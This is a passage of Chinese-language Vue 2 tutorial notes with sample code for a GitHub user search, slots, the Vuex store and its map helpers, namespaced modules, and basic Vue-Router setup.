		components:{Search,List}
	}
</script>
<template>
  <section class="jumbotron">
    <h3 class="jumbotron-heading">Search Github Users</h3>
    <div>
      <input type="text" placeholder="enter the name you search" v-model="keyWord"/>&nbsp;
      <button @click="searchUsers">Search</button>
    </div>
  </section>
</template>

<script>
  import axios from 'axios'
  export default {
    name:'Search',
    data() {
      return {
        keyWord:''
      }
    },
    methods: {
      searchUsers(){
        //请求前更新List的数据
        this.$bus.$emit('updateListData',{
          isLoading:true,
          errMsg:'',
          users:[],
          isFirst:false
        })
        axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
          response => {
            console.log('请求成功了')
            //请求成功后更新List的数据
            this.$bus.$emit('updateListData',{
              isLoading:false,
              errMsg:'',
              users:response.data.items
            })
          },
          error => {
            //请求失败后更新List的数据
            this.$bus.$emit('updateListData',{
              isLoading:false,
              errMsg:error.message,
              users:[]})
          }
        )
      }
    },
  }
</script>

<template>
  <div class="row">
    <!-- 展示用户列表 -->
    <div v-show="info.users.length" class="card" 
      v-for="user in info.users" :key="user.login">
      <a :href="user.html_url" target="_blank">
        <img :src="user.avatar_url" style='width: 100px'/>
        </a>
      <p class="card-text">{{user.login}}</p>
    </div>
    <!-- 展示欢迎词 -->
    <h1 v-show="info.isFirst">欢迎使用!</h1>
    <!-- 展示加载中 -->
    <h1 v-show="info.isLoading">加载中....</h1>
    <!-- 展示错误信息 -->
    <h1 v-show="info.errMsg">{{info.errMsg}}</h1>
  </div>
</template>

<script>
  export default {
    name:'List',
    data() {
      return {
        info:{
          isFirst:true,
          isLoading:false,
          errMsg:'',
          users:[]
        }
      }
    },
    mounted() {
      this.$bus.$on('updateListData',(dataObj)=>{
        this.info = {...this.info,...dataObj} //利用展开表达式合并两个对象
      })
    },
  }
</script>

<style scoped>
  .album {
    min-height: 50rem; /* Can be removed; just added for demo purposes */
    padding-top: 3rem;
    padding-bottom: 3rem;
    background-color: #f7f7f7;
  }

  .card {
    float: left;
    width: 33.333%;
    padding: .75rem;
    margin-bottom: 2rem;
    border: 1px solid #efefef;
    text-align: center;
  }

  .card > img {
    margin-bottom: .75rem;
    border-radius: 100px;
  }

  .card-text {
    font-size: 85%;
  }
</style>

vue-resource

vue项目常用的两个Ajax库

  1. axios:通用的Ajax请求库,官方推荐,效率高
  2. vue-resource:vue插件库,vue 1.x使用广泛,官方已不维护

下载vue-resource库:npm i vue-resource

import vueResource from 'vue-resource'
Vue.use(vueResource)

axios.get --> this.$http.get

slot插槽

让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件

  1. 分类:默认插槽、具名插槽、作用域插槽
  2. 使用方式:
  3. 默认插槽:
父组件中:
        <Category>
           <div>html结构1</div>
        </Category>
子组件中:
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot>插槽默认内容...</slot>
            </div>
        </template>
  1. 具名插槽:

父组件指明放入子组件的哪个插槽slot="footer",如果是template可以写成v-slot:footer

父组件中:
        <Category>
            <template slot="center">
              <div>html结构1</div>
            </template>

            <template v-slot:footer>
               <div>html结构2</div>
            </template>
        </Category>
子组件中:
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot name="center">插槽默认内容...</slot>
               <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>
  1. 作用域插槽:

数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定
games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

父组件中:
    		<Category>
    			<template scope="scopeData">
    				<!-- 生成的是ul列表 -->
    				<ul>
    					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
    				</ul>
    			</template>
    		</Category>
    
    		<Category>
    			<template slot-scope="scopeData">
    				<!-- 生成的是h4标题 -->
    				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
    			</template>
    		</Category>
子组件中:
        <template>
            <div>
                <slot :games="games"></slot>
            </div>
        </template>
		
        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>

注意:关于样式,既可以写在父组件中,解析后放入子组件插槽;也可以放在子组件中,传给子组件再解析

  1. 默认插槽实例:
<template>
  <div class="container">
    <Category title="美食" >
      <img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
      </Category>

    <Category title="游戏" >
      <ul>
        <li v-for="(g,index) in games" :key="index">{{g}}</li>
      </ul>
    </Category>

    <Category title="电影">
      <video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
    </Category>
  </div>
</template>

<script>
  import Category from './components/Category'
  export default {
    name:'App',
    components:{Category},
    data() {
      return {
        foods:['火锅','烧烤','小龙虾','牛排'],
        games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
        films:['《教父》','《拆弹专家》','《你好,李焕英》','《尚硅谷》']
      }
    },
  }
</script>

<style scoped>
  .container{
    display: flex;
    justify-content: space-around;
  }
</style>

<template>
  <div class="category">
    <h3>{{title}}分类</h3>
    <!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
    <slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
  </div>
</template>

<script>
  export default {
    name:'Category',
    props:['title']
  }
</script>

<style scoped>
  .category{
    background-color: skyblue;
    width: 200px;
    height: 300px;
  }
  h3{
    text-align: center;
    background-color: orange;
  }
  video{
    width: 100%;
  }
  img{
    width: 100%;
  }
</style>
  1. 具名插槽实例:
<template>
	<div class="container">
		<Category title="美食" >
			<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
			<a slot="footer" href="http://www.atguigu.com">更多美食</a>
		</Category>

		<Category title="游戏" >
			<ul slot="center">
				<li v-for="(g,index) in games" :key="index">{{g}}</li>
			</ul>
			<div class="foot" slot="footer">
				<a href="http://www.atguigu.com">单机游戏</a>
				<a href="http://www.atguigu.com">网络游戏</a>
			</div>
		</Category>

		<Category title="电影">
			<video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
			<template v-slot:footer>
				<div class="foot">
					<a href="http://www.atguigu.com">经典</a>
					<a href="http://www.atguigu.com">热门</a>
					<a href="http://www.atguigu.com">推荐</a>
				</div>
				<h4>欢迎前来观影</h4>
			</template>
		</Category>
	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
		data() {
			return {
				foods:['火锅','烧烤','小龙虾','牛排'],
				games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
				films:['《教父》','《拆弹专家》','《你好,李焕英》','《尚硅谷》']
			}
		},
	}
</script>

<style scoped>
	.container,.foot{
		display: flex;
		justify-content: space-around;
	}
	h4{
		text-align: center;
	}
</style>


<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
		<slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现1</slot>
		<slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现2</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>
  1. 作用域插槽实例:
<template>
	<div class="container">

		<Category title="游戏">
			<template scope="atguigu">
				<ul>
					<li v-for="(g,index) in atguigu.games" :key="index">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category title="游戏">
			<template scope="{games}">
				<ol>
					<li style="color:red" v-for="(g,index) in games" :key="index">{{g}}</li>
				</ol>
			</template>
		</Category>

		<Category title="游戏">
			<template slot-scope="{games}">
				<h4 v-for="(g,index) in games" :key="index">{{g}}</h4>
			</template>
		</Category>

	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
	}
</script>

<style scoped>
	.container,.foot{
		display: flex;
		justify-content: space-around;
	}
	h4{
		text-align: center;
	}
</style>

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<slot :games="games" msg="hello">我是默认的一些内容</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title'],
		data() {
			return {
				games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
			}
		},
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

Vuex

理解Vuex

Vuex是什么
  1. 概念:在Vue中实现集中式状态(数据)管理的一个Vue插件,对Vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信
  2. Github地址:https://github.com/vuejs/vuex

image.png
image.png

什么时候使用Vuex
  1. 多个组件依赖于同一个状态
  2. 来自不同组件的行为需要变更同一个状态
Vuex工作原理图

image.png

求和案例

使用纯 Vue 编写
<template>
	<div>
		<Count/>
	</div>
</template>

<script>
	import Count from './components/Count'
	export default {
		name:'App',
		components:{Count},
	}
</script>

<template>
	<div>
		<h1>当前求和为:{{sum}}</h1>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment">+</button>
		<button @click="decrement">-</button>
		<button @click="incrementOdd">当前求和为奇数再加</button>
		<button @click="incrementWait">等一等再加</button>
	</div>
</template>

<script>
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
				sum:0 //当前的和
			}
		},
		methods: {
			increment(){
				this.sum += this.n
			},
			decrement(){
				this.sum -= this.n
			},
			incrementOdd(){
				if(this.sum % 2){
					this.sum += this.n
				}
			},
			incrementWait(){
				setTimeout(()=>{
					this.sum += this.n
				},500)
			},
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

搭建 Vuex 环境
  1. 下载安装Vuex:npm i vuex@3
  2. 创建src/store/index.js该文件用于创建Vuex中最核心的store
import Vue from 'vue'		//引入Vue核心库
import Vuex from 'vuex'	//引入Vuex
Vue.use(Vuex)						//应用Vuex插件

const actions = {}			//准备actions对象——响应组件中用户的动作
const mutations = {}		//准备mutations对象——修改state中的数据
const state = {}				//准备state对象——保存具体的数据

//创建并暴露store
export default new Vuex.Store({
  actions,
  mutations,
  state
})
  1. src/main.js中创建vm时传入store配置项
import Vue from 'vue'
import App from './App.vue'
import store from './store'

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store,
	beforeCreate() {
		Vue.prototype.$bus = this
	}
})

使用 Vuex 编写

Vuex的基本使用:

  1. 初始化数据、配置actions、配置mutations、操作文件store.js
  2. 组件中读取vuex中的数据$store.state.数据
  3. 组件中修改vuex中的数据
  • $store.dispatch('action中的方法名', 数据)
  • $store.commit('mutations中的方法名', 数据)
  • 若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch直接编写commit
  • 在模板中$store前面不用加this,在
<template>
	<div>
		<h1>当前求和为:{{$store.state.sum}}</h1>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment">+</button>
		<button @click="decrement">-</button>
		<button @click="incrementOdd">当前求和为奇数再加</button>
		<button @click="incrementWait">等一等再加</button>
	</div>
</template>

<script>
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		methods: {
			increment(){
				this.$store.commit('JIA',this.n)
			},
			decrement(){
				this.$store.commit('JIAN',this.n)
			},
			incrementOdd(){
				this.$store.dispatch('jiaOdd',this.n)
			},
			incrementWait(){
				this.$store.dispatch('jiaWait',this.n)
			},
		},
		mounted() {
			console.log('Count',this)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions——用于响应组件中的动作
const actions = {
  /* jia(context,value){
		console.log('actions中的jia被调用了')
		context.commit('JIA',value)
	},
	jian(context,value){
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}, */
  jiaOdd(context,value){
    console.log('actions中的jiaOdd被调用了')
    if(context.state.sum % 2){
      context.commit('JIA',value)
    }
  },
  jiaWait(context,value){
    console.log('actions中的jiaWait被调用了')
    setTimeout(()=>{
      context.commit('JIA',value)
    },500)
  }
}
//准备mutations——用于操作数据(state)
const mutations = {
  JIA(state,value){
    console.log('mutations中的JIA被调用了')
    state.sum += value
  },
  JIAN(state,value){
    console.log('mutations中的JIAN被调用了')
    state.sum -= value
  }
}
//准备state——用于存储数据
const state = {
  sum:0 //当前的和
}

//创建并暴露store
export default new Vuex.Store({
  actions,
  mutations,
  state,
})

getters配置项

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工,相当于全局计算属性
  2. store.js中追加getters配置
......

const getters = {
	bigSum(state){
		return state.sum * 10
	}
}

//创建并暴露store
export default new Vuex.Store({
	......
	getters
})
  1. 组件中读取数据:$store.getters.bigSum
<template>
  <div>
    <h1>当前求和为:{{$store.state.sum}}</h1>
    <h3>当前求和放大10倍为:{{$store.getters.bigSum}}</h3>
    <select v-model.number="n">
      <option value="1">1</option>
      <option value="2">2</option>
      <option value="3">3</option>
    </select>
    <button @click="increment">+</button>
    <button @click="decrement">-</button>
    <button @click="incrementOdd">当前求和为奇数再加</button>
    <button @click="incrementWait">等一等再加</button>
  </div>
</template>

<script>
  export default {
    name:'Count',
    data() {
      return {
        n:1, //用户选择的数字
      }
    },
    methods: {
      increment(){
        this.$store.commit('JIA',this.n)
      },
      decrement(){
        this.$store.commit('JIAN',this.n)
      },
      incrementOdd(){
        this.$store.dispatch('jiaOdd',this.n)
      },
      incrementWait(){
        this.$store.dispatch('jiaWait',this.n)
      },
    },
    mounted() {
      console.log('Count',this.$store)
    },
  }
</script>

<style lang="css">
  button{
    margin-left: 5px;
  }
</style>

//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions——用于响应组件中的动作
const actions = {
	/* jia(context,value){
		console.log('actions中的jia被调用了')
		context.commit('JIA',value)
	},
	jian(context,value){
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}, */
	jiaOdd(context,value){
		console.log('actions中的jiaOdd被调用了')
		if(context.state.sum % 2){
			context.commit('JIA',value)
		}
	},
	jiaWait(context,value){
		console.log('actions中的jiaWait被调用了')
		setTimeout(()=>{
			context.commit('JIA',value)
		},500)
	}
}
//准备mutations——用于操作数据(state)
const mutations = {
	JIA(state,value){
		console.log('mutations中的JIA被调用了')
		state.sum += value
	},
	JIAN(state,value){
		console.log('mutations中的JIAN被调用了')
		state.sum -= value
	}
}
//准备state——用于存储数据
const state = {
	sum:0 //当前的和
}
//准备getters——用于将state中的数据进行加工
const getters = {
	bigSum(state){
		return state.sum*10
	}
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
	getters
})

四个map方法的使用

  1. **mapState方法:**用于帮助我们映射state中的数据为计算属性
computed: {
    //借助mapState生成计算属性:sum、school、subject(对象写法)
     ...mapState({sum:'sum',school:'school',subject:'subject'}),
         
    //借助mapState生成计算属性:sum、school、subject(数组写法)
    ...mapState(['sum','school','subject']),
},
  1. **mapGetters方法:**用于帮助我们映射getters中的数据为计算属性
computed: {
    //借助mapGetters生成计算属性:bigSum(对象写法)
    ...mapGetters({bigSum:'bigSum'}),

    //借助mapGetters生成计算属性:bigSum(数组写法)
    ...mapGetters(['bigSum'])
},
  1. **mapActions方法:**用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数
methods:{
    //靠mapActions生成:incrementOdd、incrementWait(对象形式)
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    //靠mapActions生成:incrementOdd、incrementWait(数组形式)
    ...mapActions(['jiaOdd','jiaWait'])
}
  1. **mapMutations方法:**用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数
methods:{
    //靠mapActions生成:increment、decrement(对象形式)
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
    //靠mapMutations生成:JIA、JIAN(数组形式)
    ...mapMutations(['JIA','JIAN']),
}

注意:

  • mapActions与mapMutations使用时,若需传参,要在模板中绑定事件时传递好参数,否则参数是事件对象
  • 使用数组形式需要保证key和value名字一样
  • 使用map方法要进行引入import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
<template>
  <div>
    <h1>当前求和为:{{sum}}</h1>
    <h3>当前求和放大10倍为:{{bigSum}}</h3>
    <h3>我在{{school}},学习{{subject}}</h3>
    <select v-model.number="n">
      <option value="1">1</option>
      <option value="2">2</option>
      <option value="3">3</option>
    </select>
    <button @click="increment(n)">+</button>
    <button @click="decrement(n)">-</button>
    <button @click="incrementOdd(n)">当前求和为奇数再加</button>
    <button @click="incrementWait(n)">等一等再加</button>
  </div>
</template>

<script>
  import {mapState,mapGetters,mapMutations,mapActions} from 'vuex' //🔴
  export default {
    name:'Count',
    data() {
      return {
        n:1, //用户选择的数字
      }
    },
    computed:{
      //靠程序员自己亲自去写计算属性
      /* sum(){
				return this.$store.state.sum
			},
			school(){
				return this.$store.state.school
			},
			subject(){
				return this.$store.state.subject
			}, */

      //🔴借助mapState生成计算属性,从state中读取数据。(对象写法)
      ...mapState({he:'sum',xuexiao:'school',xueke:'subject'}),

      //借助mapState生成计算属性,从state中读取数据。(数组写法)
      ...mapState(['sum','school','subject']),

      /* ******************************************************************** */

      //🔴借助mapGetters生成计算属性,从getters中读取数据。(对象写法)
      ...mapGetters({bigSum:'bigSum'})

        //借助mapGetters生成计算属性,从getters中读取数据。(数组写法)
      ...mapGetters(['bigSum'])

    },
    methods: {
      //程序员亲自写方法
      /* increment(){
				this.$store.commit('JIA',this.n)
			},
			decrement(){
				this.$store.commit('JIAN',this.n)
			}, */

      //🔴借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
      ...mapMutations({increment:'JIA',decrement:'JIAN'}),

      //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(数组写法)
      ...mapMutations(['JIA','JIAN']),

      /* ********************************************************************** */

      //程序员亲自写方法
      /* incrementOdd(){
				this.$store.dispatch('jiaOdd',this.n)
			},
			incrementWait(){
				this.$store.dispatch('jiaWait',this.n)
			}, */

      //🔴借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
      ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

      //借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(数组写法)
      ...mapActions(['jiaOdd','jiaWait'])
    },
    mounted() {
      const x = mapState({he:'sum',xuexiao:'school',xueke:'subject'})
      console.log(x)
    },
  }
</script>

<style lang="css">
  button{
    margin-left: 5px;
  }
</style>

多组件共享数据案例

<template>
	<div>
		<Count/>
		<hr>
		<Person/>
	</div>
</template>

<script>
	import Count from './components/Count'
	import Person from './components/Person'

	export default {
		name:'App',
		components:{Count,Person},
		mounted() {
			// console.log('App',this)
		},
	}
</script>
//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions——用于响应组件中的动作
const actions = {
  /* jia(context,value){
		console.log('actions中的jia被调用了')
		context.commit('JIA',value)
	},
	jian(context,value){
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}, */
  jiaOdd(context,value){
    console.log('actions中的jiaOdd被调用了')
    if(context.state.sum % 2){
      context.commit('JIA',value)
    }
  },
  jiaWait(context,value){
    console.log('actions中的jiaWait被调用了')
    setTimeout(()=>{
      context.commit('JIA',value)
    },500)
  }
}
//准备mutations——用于操作数据(state)
const mutations = {
  JIA(state,value){
    console.log('mutations中的JIA被调用了')
    state.sum += value
  },
  JIAN(state,value){
    console.log('mutations中的JIAN被调用了')
    state.sum -= value
  },
  ADD_PERSON(state,value){
    console.log('mutations中的ADD_PERSON被调用了')
    state.personList.unshift(value)
  }
}
//准备state——用于存储数据
const state = {
  sum:0, //当前的和
  school:'尚硅谷',
  subject:'前端',
  personList:[
    {id:'001',name:'张三'}
  ]
}
//准备getters——用于将state中的数据进行加工
const getters = {
  bigSum(state){
    return state.sum*10
  }
}

//创建并暴露store
export default new Vuex.Store({
  actions,
  mutations,
  state,
  getters
})
<template>
	<div>
		<h1>当前求和为:{{sum}}</h1>
		<h3>当前求和放大10倍为:{{bigSum}}</h3>
		<h3>我在{{school}},学习{{subject}}</h3>
		<h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment(n)">+</button>
		<button @click="decrement(n)">-</button>
		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
		<button @click="incrementWait(n)">等一等再加</button>
	</div>
</template>

<script>
	import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		computed:{
			//借助mapState生成计算属性,从state中读取数据。(数组写法)
			...mapState(['sum','school','subject','personList']),
			//借助mapGetters生成计算属性,从getters中读取数据。(数组写法)
			...mapGetters(['bigSum'])
		},
		methods: {
			//借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
			...mapMutations({increment:'JIA',decrement:'JIAN'}),
			//借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
			...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
		},
		mounted() {
			// const x = mapState({he:'sum',xuexiao:'school',xueke:'subject'})
			// console.log(x)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>
<template>
	<div>
		<h1>人员列表</h1>
		<h3 style="color:red">Count组件求和为:{{sum}}</h3>
		<input type="text" placeholder="请输入名字" v-model="name">
		<button @click="add">添加</button>
		<ul>
			<li v-for="p in personList" :key="p.id">{{p.name}}</li>
		</ul>
	</div>
</template>

<script>
	import {nanoid} from 'nanoid'
	export default {
		name:'Person',
		data() {
			return {
				name:''
			}
		},
		computed:{
			personList(){
				return this.$store.state.personList
			},
			sum(){
				return this.$store.state.sum
			}
		},
		methods: {
			add(){
				const personObj = {id:nanoid(),name:this.name}
				this.$store.commit('ADD_PERSON',personObj)
				this.name = ''
			}
		},
	}
</script>

模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。
  2. 修改store.js
const countAbout = {
  namespaced:true,//开启命名空间
  state:{x:1},
  mutations: { ... },
  actions: { ... },
  getters: {
    bigSum(state){
       return state.sum * 10
    }
  }
}

const personAbout = {
  namespaced:true,//开启命名空间
  state:{ ... },
  mutations: { ... },
  actions: { ... }
}

const store = new Vuex.Store({
  modules: {
    countAbout,
    personAbout
  }
})
  1. 开启命名空间后,组件中读取state数据:
//方式一:自己直接读取
this.$store.state.personAbout.list
//方式二:借助mapState读取:
...mapState('countAbout',['sum','school','subject']),
  1. 开启命名空间后,组件中读取getters数据:
//方式一:自己直接读取
this.$store.getters['personAbout/firstPersonName']
//方式二:借助mapGetters读取:
...mapGetters('countAbout',['bigSum'])
  1. 开启命名空间后,组件中调用dispatch
//方式一:自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',person)
//方式二:借助mapActions:
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
  1. 开启命名空间后,组件中调用commit
//方式一:自己直接commit
this.$store.commit('personAbout/ADD_PERSON',person)
//方式二:借助mapMutations:
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
import countOptions from './count'
import personOptions from './person'
//应用Vuex插件
Vue.use(Vuex)

//创建并暴露store
export default new Vuex.Store({
	modules:{
		countAbout:countOptions,
		personAbout:personOptions
	}
})
//求和相关的配置
export default {
	namespaced:true,
	actions:{
		jiaOdd(context,value){
			console.log('actions中的jiaOdd被调用了')
			if(context.state.sum % 2){
				context.commit('JIA',value)
			}
		},
		jiaWait(context,value){
			console.log('actions中的jiaWait被调用了')
			setTimeout(()=>{
				context.commit('JIA',value)
			},500)
		}
	},
	mutations:{
		JIA(state,value){
			console.log('mutations中的JIA被调用了')
			state.sum += value
		},
		JIAN(state,value){
			console.log('mutations中的JIAN被调用了')
			state.sum -= value
		},
	},
	state:{
		sum:0, //当前的和
		school:'尚硅谷',
		subject:'前端',
	},
	getters:{
		bigSum(state){
			return state.sum*10
		}
	},
}
//人员管理相关的配置
import axios from 'axios'
import { nanoid } from 'nanoid'
export default {
	namespaced:true,
	actions:{
		addPersonWang(context,value){
			if(value.name.indexOf('王') === 0){
				context.commit('ADD_PERSON',value)
			}else{
				alert('添加的人必须姓王!')
			}
		},
		addPersonServer(context){
			axios.get('https://api.uixsj.cn/hitokoto/get?type=social').then(
				response => {
					context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
				},
				error => {
					alert(error.message)
				}
			)
		}
	},
	mutations:{
		ADD_PERSON(state,value){
			console.log('mutations中的ADD_PERSON被调用了')
			state.personList.unshift(value)
		}
	},
	state:{
		personList:[
			{id:'001',name:'张三'}
		]
	},
	getters:{
		firstPersonName(state){
			return state.personList[0].name
		}
	},
}
<template>
	<div>
		<h1>当前求和为:{{sum}}</h1>
		<h3>当前求和放大10倍为:{{bigSum}}</h3>
		<h3>我在{{school}},学习{{subject}}</h3>
		<h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment(n)">+</button>
		<button @click="decrement(n)">-</button>
		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
		<button @click="incrementWait(n)">等一等再加</button>
	</div>
</template>

<script>
	import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		computed:{
			//借助mapState生成计算属性,从state中读取数据。(数组写法)
			...mapState('countAbout',['sum','school','subject']),
			...mapState('personAbout',['personList']),
			//借助mapGetters生成计算属性,从getters中读取数据。(数组写法)
			...mapGetters('countAbout',['bigSum'])
		},
		methods: {
			//借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
			...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
			//借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
			...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
		},
		mounted() {
			console.log(this.$store)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>
<template>
	<div>
		<h1>人员列表</h1>
		<h3 style="color:red">Count组件求和为:{{sum}}</h3>
		<h3>列表中第一个人的名字是:{{firstPersonName}}</h3>
		<input type="text" placeholder="请输入名字" v-model="name">
		<button @click="add">添加</button>
		<button @click="addWang">添加一个姓王的人</button>
		<button @click="addPersonServer">添加一个人,名字随机</button>
		<ul>
			<li v-for="p in personList" :key="p.id">{{p.name}}</li>
		</ul>
	</div>
</template>

<script>
	import {nanoid} from 'nanoid'
	export default {
		name:'Person',
		data() {
			return {
				name:''
			}
		},
		computed:{
			personList(){
				return this.$store.state.personAbout.personList
			},
			sum(){
				return this.$store.state.countAbout.sum
			},
			firstPersonName(){
				return this.$store.getters['personAbout/firstPersonName']
			}
		},
		methods: {
			add(){
				const personObj = {id:nanoid(),name:this.name}
				this.$store.commit('personAbout/ADD_PERSON',personObj)
				this.name = ''
			},
			addWang(){
				const personObj = {id:nanoid(),name:this.name}
				this.$store.dispatch('personAbout/addPersonWang',personObj)
				this.name = ''
			},
			addPersonServer(){
				this.$store.dispatch('personAbout/addPersonServer')
			}
		},
	}
</script>

Vue-Router

相关理解

  1. vue-router的理解
  • vue的一个插件库,专门用来实现SPA应用
  1. 对SPA应用的理解
  • 单页Web应用(single page web application,SPA)
  • 整个应用只有一个完整的页面
  • 点击页面中的导航链接不会刷新页面,只会做页面的局部更新
  • 数据需要通过ajax请求获取
  1. 路由的理解
  • 什么是路由?
    • 一个路由就是一组映射关系(key-value)
    • key为路径,value可能是component或function
  • 路由分类
    • 前端路由
      • 理解:value是component,用于展示页面内容
      • 工作过程:当浏览器的路径改变时,对应的组件就会显示
    • 后端路由
      • 理解:value是function,用于处理客户端提交的请求
      • 工作过程:服务器接收一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据

基本路由

  1. 安装vue-router,命令npm i vue-router
  2. 应用插件Vue.use(VueRouter)
  3. 编写router配置项:
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由组件
import About from '../components/About'
import Home from '../components/Home'

//创建router实例对象,去管理一组一组的路由规则
const router = new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home
		}
	]
})

//暴露router
export default router
  1. 实现切换
  • <router-link active-class="active" to="/about">About</router-link>
  • active-class可配置高亮样式,被选中即高亮
  • to可配置指向的路由
  1. 指定展示位置
  • <router-view></router-view>

📝实例:

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../components/About'
import Home from '../components/Home'

//创建并暴露一个路由器
export default new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home
		}
	]
})

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'

//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	router:router
})
<template>
  <div>
    <div class="row">
